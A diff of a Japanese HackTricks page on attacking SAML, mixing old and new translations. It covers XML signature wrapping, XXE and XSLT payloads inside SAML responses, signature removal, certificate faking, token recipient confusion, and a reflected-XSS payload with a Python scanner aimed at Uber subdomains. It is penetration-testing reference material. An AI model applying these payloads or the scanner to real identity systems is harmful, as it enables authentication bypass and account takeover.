- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
- **ハッキングテクニックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -22,17 +22,13 @@ HackTricks をサポートする他の方法:
|
|||
[saml-basics.md](saml-basics.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 攻撃グラフィック
|
||||
|
||||
![](<../../.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (13).png>)
|
||||
|
||||
## ツール
|
||||
|
||||
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): URL または URL のリストを取得し、SAML consume URL を出力するツールです。
|
||||
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): URLまたはURLリストを取得し、SAML消費URLを出力できるツール。
|
||||
|
||||
## XML ラウンドトリップ
|
||||
## XMLラウンドトリップ
|
||||
|
||||
XML では、XML の署名された部分がメモリに保存され、その後いくつかのエンコーディング/デコーディングが実行され、署名がチェックされます。理想的には、そのエンコーディング/デコーディングはデータを変更すべきではありませんが、そのシナリオに基づいて、**チェックされるデータと元のデータが同じでない可能性があります**。
|
||||
XMLでは、XMLの署名部分がメモリに保存され、いくつかのエンコード/デコードが実行され、署名がチェックされます。理想的には、そのエンコード/デコードはデータを変更しないはずですが、そのシナリオに基づくと、**チェックされるデータと元のデータが同じでない可能性があります**。
|
||||
|
||||
例えば、以下のコードをチェックしてください:
|
||||
```ruby
|
||||
|
@ -49,102 +45,30 @@ puts "First child in original doc: " + doc.root.elements[1].name
|
|||
doc = REXML::Document.new doc.to_s
|
||||
puts "First child after round-trip: " + doc.root.elements[1].name
|
||||
```
|
||||
プログラムをREXML 3.2.4以前のバージョンで実行すると、以下の出力が得られます:
|
||||
プログラムをREXML 3.2.4またはそれ以前のバージョンに対して実行すると、次の出力が表示されます:
|
||||
```
|
||||
First child in original doc: Y
|
||||
First child after round-trip: Z
|
||||
```
|
||||
以下は、上記のプログラムからの元のXMLドキュメントをREXMLがどのように見たかです:
|
||||
上記のプログラムでREXMLが元のXMLドキュメントを見た方法は次のとおりです:
|
||||
|
||||
![](<../../.gitbook/assets/image (561).png>)
|
||||
![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../.gitbook/assets/image (561).png>)
|
||||
|
||||
そして、これは解析とシリアライズのラウンドの後にそれがどのように見えたかです:
|
||||
そして、解析とシリアル化のラウンド後に見た方法は次のとおりです:
|
||||
|
||||
![](<../../.gitbook/assets/image (562).png>)
|
||||
![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../.gitbook/assets/image (562).png>)
|
||||
|
||||
脆弱性とその悪用方法についての詳細は:
|
||||
脆弱性とその悪用方法の詳細については、以下を参照してください:
|
||||
|
||||
* [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
|
||||
* [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
|
||||
- [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
|
||||
- [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
|
||||
|
||||
## XMLシグネチャラッピング攻撃
|
||||
## XML Signature Wrapping Attacks
|
||||
|
||||
XMLシグネチャを含むXMLドキュメントは通常、**シグネチャ** **検証**と**機能** **呼び出し**(ビジネスロジック)の**2つの独立したステップで処理されます**。両方のモジュールがデータに対して異なる見解を持っている場合、XMLシグネチャラッピング攻撃(XSW)と呼ばれる新しいクラスの脆弱性が存在します。\
|
||||
これらの攻撃では、**攻撃者**は**XMLシグネチャを無効にしない**要素を**注入**して**メッセージ**構造を**変更します**。この変更の目的は、**アプリケーションロジックとシグネチャ検証モジュールがメッセージの異なる部分を使用するようにすることです**。結果として、受信者はXMLシグネチャを正常に検証しますが、アプリケーションロジックは偽の要素を処理します。**攻撃者はこのようにしてXMLシグネチャの完全性保護と起源認証を回避し**、任意の内容を注入することができます。
|
||||
**XML Signature Wrapping attacks (XSW)**では、敵対者はXMLドキュメントが**署名検証**および**機能呼び出し**の2つの異なるフェーズを通過する際に生じる脆弱性を悪用します。これらの攻撃は、XMLドキュメント構造を変更することを含みます。具体的には、攻撃者はXML署名の有効性に影響を与えない**偽造要素を挿入**します。この操作は、**アプリケーションロジック**によって分析される要素と**署名検証モジュール**によってチェックされる要素との間に不一致を作成することを目的としています。その結果、XML署名は技術的に有効で検証に合格しますが、アプリケーションロジックは**不正な要素**を処理します。したがって、攻撃者はXML署名の**整合性保護**と**起源認証**を効果的にバイパスし、検出されずに**任意のコンテンツを挿入**することが可能となります。
|
||||
|
||||
SAMLリクエストから:
|
||||
|
||||
![](<../../.gitbook/assets/image (537).png>)
|
||||
|
||||
### XSW #1
|
||||
|
||||
攻撃者はシグネチャが見つかる新しいルート要素を**追加することができます**。したがって、バリデータがシグネチャの完全性をチェックするとき、それは**Response -> Assertion -> Subject**の**完全性をチェック**したと考えるかもしれませんが、赤で示された**悪意のある新しいResponse -> Assertion -> Subject**パスと混同して、そのデータを使用する可能性があります。
|
||||
|
||||
![](<../../.gitbook/assets/image (538).png>)
|
||||
|
||||
### XSW #2
|
||||
|
||||
#1との違いは、使用されるシグネチャのタイプが**デタッチドシグネチャ**であり、XSW #1ではエンベローピングシグネチャが使用されていたことです。\
|
||||
新しい悪意のある構造が以前と同じで、完全性チェックが実行された後のビジネスロジックを混乱させようとしていることに注意してください。
|
||||
|
||||
![](<../../.gitbook/assets/image (539).png>)
|
||||
|
||||
### XSW #3
|
||||
|
||||
この攻撃では、元のアサーションと同じレベルで**悪意のあるアサーションが作成され**、ビジネスロジックを混乱させて悪意のあるデータを使用しようとします。
|
||||
|
||||
![](<../../.gitbook/assets/image (540).png>)
|
||||
|
||||
### XSW #4
|
||||
|
||||
XSW #4は#3に似ていますが、この場合、**元のアサーションがコピーされたアサーションの子**になります。
|
||||
|
||||
![](<../../.gitbook/assets/image (541).png>)
|
||||
|
||||
### XSW #5
|
||||
|
||||
XSW #5では、シグネチャと元のアサーションがエンベロープド/エンベローピング/デタッチドの3つの標準構成のいずれかに含まれていません。この場合、コピーされたアサーションがシグネチャを包む形になります。
|
||||
|
||||
![](<../../.gitbook/assets/image (542).png>)
|
||||
|
||||
### XSW #6
|
||||
|
||||
XSW #6は、コピーされたアサーションを#4および#5と同じ場所に挿入します。ここで興味深いのは、コピーされたアサーションがシグネチャを包み、そのシグネチャが元のアサーションを包むということです。
|
||||
|
||||
![](<../../.gitbook/assets/image (543).png>)
|
||||
|
||||
### XSW #7
|
||||
|
||||
XSW #7は**Extensions**要素を挿入し、コピーされた**Assertion**を**子**として追加します。Extensionsは**より制約の少ないスキーマ定義**を持つ有効なXML要素です。この[ホワイトペーパー](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)の著者は、OpenSAMLライブラリに対応してこの方法を開発しました。OpenSAMLはスキーマ検証を使用して、シグネチャ検証中に使用されるIDと処理されたアサーションのIDを正しく比較しました。著者は、元のアサーションと同じIDを持つコピーされたアサーションがより制約の少ないスキーマ定義を持つ要素の子である場合、彼らはこの特定の対策を回避することができたと発見しました。
|
||||
|
||||
![](<../../.gitbook/assets/image (544).png>)
|
||||
|
||||
### XSW #8
|
||||
|
||||
XSW #8は、XSW #7で使用された攻撃パターンの変種を実行するために、別の**より制約の少ないXML要素**を使用します。今回は、元のアサーションがコピーされたアサーションではなく、より制約の少ない要素の子です。
|
||||
|
||||
![](<../../.gitbook/assets/image (545).png>)
|
||||
|
||||
### ツール
|
||||
|
||||
リクエストを解析し、選択したXSW攻撃を適用して起動するために、Burp拡張機能の[**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)を使用できます。
|
||||
|
||||
![](<../../.gitbook/assets/image (546).png>)
|
||||
|
||||
### 元の論文
|
||||
|
||||
この攻撃についての詳細は、元の論文を[https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)で読んでください。
|
||||
|
||||
## XXE
|
||||
|
||||
XXE攻撃の種類がわからない場合は、以下のページを読んでください:
|
||||
|
||||
{% content-ref url="../xxe-xee-xml-external-entity.md" %}
|
||||
[xxe-xee-xml-external-entity.md](../xxe-xee-xml-external-entity.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
SAMLレスポンスがdeflatedされbase64でエンコードされた**XMLドキュメント**であるため、SAMLレスポンスとして送信されるXMLドキュメントを操作することで**XXE**をテストすることができます。例:
|
||||
```markup
|
||||
以下の攻撃は、**[このブログ投稿](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)および[この論文](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)**に基づいています。詳細については、それらを確認してください。
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ELEMENT foo ANY >
|
||||
|
@ -161,26 +85,24 @@ SAMLレスポンスがdeflatedされbase64でエンコードされた**XMLドキ
|
|||
<ds:SignatureValue>...</ds:SignatureValue>
|
||||
[...]
|
||||
```
|
||||
### ツール
|
||||
## ツール
|
||||
|
||||
Burp拡張機能の [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) を使用して、SAMLリクエストからXXEの脆弱性をテストするためのPOCを生成することもできます。
|
||||
[SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)というBurp拡張機能を使用して、SAMLリクエストからPOCを生成して、XXE脆弱性やSAML脆弱性をテストすることもできます。
|
||||
|
||||
このトークもチェックしてください: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||||
以下のトークもチェックしてください: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||||
|
||||
## SAML経由のXSLT
|
||||
|
||||
XSLTについての詳細はこちらをご覧ください:
|
||||
XSLTに関する詳細情報は、以下を参照してください:
|
||||
|
||||
{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
|
||||
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Extensible Stylesheet Language Transformation (XSLT) は、XMLドキュメントをHTML、JSON、PDFなどの他のドキュメントタイプに変換するためのチューリング完全な言語です。ここで注目すべき重要な点は、**攻撃に有効な署名が必要ないことです**。その理由は、**XSLT変換がデジタル署名が検証のために処理される前に行われるからです**。基本的に、攻撃を行うには署名されたSAMLレスポンスが必要ですが、署名は自己署名または無効でも構いません。
|
||||
拡張可能スタイルシート言語変換(XSLT)は、XMLドキュメントをHTML、JSON、またはPDFなどのさまざまな形式に変換するために使用できます。**XSLT変換はデジタル署名の検証の前に実行**されることに注意することが重要です。これは、有効な署名がなくても攻撃が成功する可能性があることを意味します。自己署名または無効な署名でも十分です。
|
||||
|
||||
![xslt](https://epi052.gitlab.io/notes-to-self/img/saml/xslt.png)
|
||||
|
||||
ここには、この種の脆弱性をチェックするための**POC**があります。このセクションの冒頭で言及されたhacktricksページには、ペイロードを見つけることができます。
|
||||
```markup
|
||||
ここでは、この種の脆弱性をチェックするための**POC**を見つけることができます。このセクションの冒頭で言及されているhacktricksページで、ペイロードを見つけることができます。
|
||||
```xml
|
||||
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
||||
...
|
||||
<ds:Transforms>
|
||||
|
@ -201,80 +123,87 @@ Extensible Stylesheet Language Transformation (XSLT) は、XMLドキュメント
|
|||
```
|
||||
### ツール
|
||||
|
||||
Burp拡張機能の [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) を使用して、SAMLリクエストからPOCを生成し、可能なXSLTの脆弱性をテストできます。
|
||||
[SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)というBurp拡張機能を使用して、SAMLリクエストからPOCを生成し、XSLTの脆弱性をテストすることもできます。
|
||||
|
||||
このトークもチェックしてください: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||||
|
||||
## XML署名の除外 <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
|
||||
## XML署名除外 <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
|
||||
|
||||
署名の除外は、**Signature要素がない**場合にSAML実装がどのように振る舞うかをテストするために使用されます。Signature要素が**欠如している**と、**署名検証ステップが完全にスキップされる可能性があります**。Signatureが検証されない場合、通常署名される内容は攻撃者によって改ざんされる可能性があります。
|
||||
**XML Signature Exclusion**は、Signature要素が存在しない場合にSAML実装の動作を観察します。この要素が欠落していると、**署名検証が行われない可能性**があり、脆弱性が生じる可能性があります。通常署名によって検証される内容を変更することで、これをテストすることができます。
|
||||
|
||||
![](<../../.gitbook/assets/image (547).png>)
|
||||
![https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg](<../../.gitbook/assets/image (547).png>)
|
||||
|
||||
### ツール <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
|
||||
|
||||
署名の除外は、SAMLレスポンスをインターセプトし、`Remove Signatures`をクリックすることから始まります。これにより、**すべての**Signature要素が削除されます。
|
||||
Burp拡張機能[SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)も使用できます。SAMLレスポンスをインターセプトし、`Remove Signatures`をクリックします。これにより、**すべて**のSignature要素が削除されます。
|
||||
|
||||
![sig-exclusion](https://epi052.gitlab.io/notes-to-self/img/saml/sig-exclusion.png)
|
||||
署名が削除された状態でリクエストをターゲットに進めます。サービスがSignatureを要求していない場合、
|
||||
|
||||
署名を削除した後、リクエストを対象に進めます。SignatureがServiceによって必要とされていない場合
|
||||
## 証明書偽装 <a href="#certificate-faking" id="certificate-faking"></a>
|
||||
|
||||
## 証明書の偽造 <a href="#certificate-faking" id="certificate-faking"></a>
|
||||
証明書偽装は、**サービスプロバイダ(SP)がSAMLメッセージが信頼できるIdP(Identity Provider)によって署名されているかどうかを適切に検証するかどうかをテストする**技術です。これには、**自己署名証明書**を使用してSAMLレスポンスまたはAssertionに署名することが含まれます。これにより、SPとIdP間の信頼検証プロセスを評価できます。
|
||||
|
||||
証明書の偽造は、Service Providerが信頼されたIdentity Providerによって署名されたSAMLメッセージであることを**検証するかどうか**をテストするプロセスです。SPとIdP間の信頼関係は確立され、SAMLメッージが受信されるたびに**検証されるべき**です。これは、**自己署名**された証明書を使用してSAMLレスポンスまたはアサーションに署名することになります。
|
||||
### 証明書偽装の実施方法
|
||||
以下の手順は、[SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) Burp拡張機能を使用したプロセスを概説しています:
|
||||
|
||||
### ツール <a href="#certificate-faking-how-to" id="certificate-faking-how-to"></a>
|
||||
1. SAMLレスポンスをインターセプトします。
|
||||
2. レスポンスに署名が含まれている場合は、`Send Certificate to SAML Raider Certs`ボタンを使用して証明書をSAML Raider Certsに送信します。
|
||||
3. SAML Raider Certificatesタブで、インポートした証明書を選択し、`Save and Self-Sign`をクリックして元の証明書の自己署名クローンを作成します。
|
||||
4. BurpのProxyでインターセプトしたリクエストに戻ります。XML Signatureドロップダウンから新しい自己署名証明書を選択します。
|
||||
5. `Remove Signatures`ボタンで既存の署名を削除します。
|
||||
6. 適切な場合は、新しい証明書でメッセージまたはAssertionに署名するために、**`(Re-)Sign Message`**または**`(Re-)Sign Assertion`**ボタンをクリックします。
|
||||
7. 署名されたメッセージを転送します。成功した認証は、SPが自己署名証明書によって署名されたメッセージを受け入れることを示し、SAMLメッセージの検証プロセスにおける潜在的な脆弱性を明らかにします。
|
||||
|
||||
Burp拡張機能の [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) を使用します。\
|
||||
証明書を偽造するには、SAMLレスポンスをインターセプトすることから始めます。\
|
||||
レスポンスにSignatureが含まれている場合は、`Send Certificate to SAML Raider Certs`ボタンを使用します。
|
||||
|
||||
![send-cert](https://epi052.gitlab.io/notes-to-self/img/saml/send-cert.png)
|
||||
## トークン受信者混乱 / サービスプロバイダターゲット混乱 <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
|
||||
|
||||
証明書を送信した後、SAML RaiderのCertificatesタブにインポートされた証明書が表示されるはずです。そこで、インポートされた証明書をハイライトし、`Save and Self-Sign`ボタンを押します。
|
||||
トークン受信者混乱とサービスプロバイダターゲット混乱は、**サービスプロバイダが応答の意図された受信者を正しく検証するかどうか**を確認するものです。要するに、サービスプロバイダは、別のプロバイダ向けに意図されていない認証応答を拒否する必要があります。ここで重要な要素は、SAMLレスポンスの**SubjectConfirmationData**要素内にある**Recipient**フィールドです。このフィールドは、Assertionを送信する必要のあるURLを指定します。実際の受信者が意図されたサービスプロバイダと一致しない場合、Assertionは無効と見なす必要があります。
|
||||
|
||||
![sent-cert](https://epi052.gitlab.io/notes-to-self/img/saml/sent-cert.png)
|
||||
#### **動作方法**
|
||||
|
||||
これにより、元の証明書の自己署名クローンが生成されます。次に、BurpのProxyで保持されているインターセプトされたリクエストに戻ります。まず、XML Signatureドロップダウンメニューから新しい自己署名証明書を選択します。次に、`Remove Signatures`ボタンを使用して既存の署名を削除します。最後に、**`(Re-)Sign Message`**または`(`**`Re-)Sign Assertion`**ボタン(**状況に応じて** **より** **適切な**方)を使用します。
|
||||
SAMLトークン受信者混乱(SAML-TRC)攻撃が実行可能になるためには、特定の条件を満たす必要があります。まず第一に、サービスプロバイダ(SP-Legitと呼ばれる)に有効なアカウントが存在している必要があります。第二に、ターゲットとなるサービスプロバイダ(SP-Target)は、SP-Legitにサービスを提供する同じIdentity Providerからトークンを受け入れる必要があります。
|
||||
|
||||
![remove-sig](https://epi052.gitlab.io/notes-to-self/img/saml/remove-sig.png)
|
||||
これらの条件の下で、攻撃プロセスは簡単です。共有Identity Providerを介してSP-Legitとの間で本物のセッションが開始されます。Identity ProviderからSP-Legitに向けられたSAMLレスポンスがインターセプトされます。元々SP-Legit向けに意図されていたこのインターセプトされたSAMLレスポンスは、その後SP-Targetにリダイレクトされます。この攻撃の成功は、SP-TargetがAssertionを受け入れ、SP-Legitで使用された同じアカウント名でリソースへのアクセスを許可することによって測定されます。
|
||||
```python
|
||||
# Example to simulate interception and redirection of SAML Response
|
||||
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
|
||||
"""
|
||||
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
|
||||
|
||||
自己署名証明書でメッセージに署名した後、送信します。認証できれば、SAMLメッセージに署名できることがわかります。SAMLメッセージに署名できるということは、アサーションの値を変更してもService Providerに受け入れられることを意味します。
|
||||
|
||||
## トークン受信者の混乱 / Service Providerターゲットの混乱 <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
|
||||
|
||||
トークン受信者の混乱 / Service Providerターゲットの混乱は、Service Providerが受信者を**検証するかどうか**をテストします。つまり、**異なるService Provider向けのレスポンスであった場合**、**現在の**Service Providerはそれに気づき、**認証を拒否する**べきです。\
|
||||
**Recipient**フィールドは、SAMLレスポンスのSubject要素の子である**SubjectConfirmationData**要素の属性です。
|
||||
|
||||
> SubjectConfirmationData要素は、主体の確認を可能にする追加データを指定するか、主体の確認の行為が行われる状況を制約します。主体の確認は、アサーションを提示するエンティティ(つまり、証明するエンティティ)とアサーションの主張の主体との関係を検証しようとする依存パーティが行うときに発生します。
|
||||
|
||||
**SubjectConfirmationData要素にあるRecipient属性は、アサーションが配信されるべき場所を指定するURLです**。Recipientが受け取るService Providerと異なる場合、アサーションは受け入れられるべきではありません。
|
||||
|
||||
### 方法 <a href="#token-recipient-confusion-how-to" id="token-recipient-confusion-how-to"></a>
|
||||
|
||||
SAMLトークン受信者の混乱(SAML-TRC)は、搾取を試みるためにいくつかの前提条件があります。まず、**Service Providerに正当なアカウントを持っている必要があります**。次に、**SP-TargetはSP-Legitがサービスする同じIdentity Providerによって発行されたトークンを受け入れる必要があります**。
|
||||
|
||||
条件が真であれば、攻撃は比較的簡単です。共有Identity Providerを介して**SP-Legit**に**認証**します。次に、IdPからSP-LegitへのSAMLレスポンスの途中でインターセプトします。インターセプトしたら、**SP-Legit向けだったSAMLレスポンスをSP-Targetに代わりに送信します。**もし**SP-Targetがアサーションを受け入れる**場合、SP-Legitの同じアカウント名でログインし、SP-Targetの対応するリソースにアクセスできることになります。
|
||||
Args:
|
||||
- saml_response: The SAML Response intercepted (in string format).
|
||||
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
|
||||
|
||||
Returns:
|
||||
- status: Success or failure message.
|
||||
"""
|
||||
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
|
||||
try:
|
||||
# Code to send the SAML Response to SP-Target would go here
|
||||
return "SAML Response successfully redirected to SP-Target."
|
||||
except Exception as e:
|
||||
return f"Failed to redirect SAML Response: {e}"
|
||||
```
|
||||
## ログアウト機能のXSS
|
||||
|
||||
([元の研究はこちら](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/))
|
||||
オリジナルの研究は[このリンク](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)からアクセスできます。
|
||||
|
||||
ディレクトリブルートフォーシングを実行した後、次のページを見つけました:
|
||||
ディレクトリブルートフォースの過程で、次のログアウトページが発見されました:
|
||||
```
|
||||
https://carbon-prototype.uberinternal.com:443/oidauth/logout
|
||||
```
|
||||
ログアウトページです。上記のリンクを開いたところ、次のページにリダイレクトされました。
|
||||
このリンクにアクセスすると、次のリダイレクトが発生しました:
|
||||
```
|
||||
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
|
||||
```
|
||||
ベースパラメータがURLを取得しているので、古典的な `javascript:alert(123);` に置き換えてXSSをトリガーしてみてはどうでしょうか。
|
||||
これにより、`base`パラメーターがURLを受け入れることが判明しました。これを考慮して、`javascript:alert(123);`というURLで置き換えてXSS(クロスサイトスクリプティング)攻撃を試みるアイデアが浮かびました。
|
||||
|
||||
### 大量悪用
|
||||
|
||||
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) を使用して、URLのリストを取得し、コールバック(SAMLコンシューム)URLを返すことができるため、`uberinternal.com` のすべてのサブドメインをツールにフィードして、同じライブラリを使用している他のドメインがあるかどうかを確認しました。そして、ありました。
|
||||
### 大規模な悪用
|
||||
|
||||
次に行ったことは、脆弱なページ `oidauth/prompt` を呼び出し、XSSを試み、入力が反映された場合には、脆弱であるというメッセージを表示するスクリプトを作成することでした。
|
||||
[この研究から](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
|
||||
|
||||
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor)ツールを使用して、`uberinternal.com`のサブドメインを分析し、同じライブラリを利用しているドメインを特定しました。その後、`oidauth/prompt`ページを対象とするスクリプトが開発されました。このスクリプトは、データを入力し、その出力に反映されるかどうかをチェックしてXSS(クロスサイトスクリプティング)をテストします。入力が実際に反映される場合、スクリプトはそのページを脆弱としてフラグ付けします。
|
||||
```python
|
||||
import requests
|
||||
import urllib3
|
||||
|
@ -293,20 +222,21 @@ print(Fore.WHITE + url2)
|
|||
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
|
||||
```
|
||||
## 参考文献
|
||||
|
||||
攻撃方法は[https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)から取得しました。\
|
||||
追加のリソースとライトアップは[https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)で見つけることができます。
|
||||
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
|
||||
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\
|
||||
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
|
||||
* [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックしてください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有してください**。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする**
|
||||
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,31 +4,29 @@
|
|||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)。
|
||||
- **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# SAML概要
|
||||
|
||||
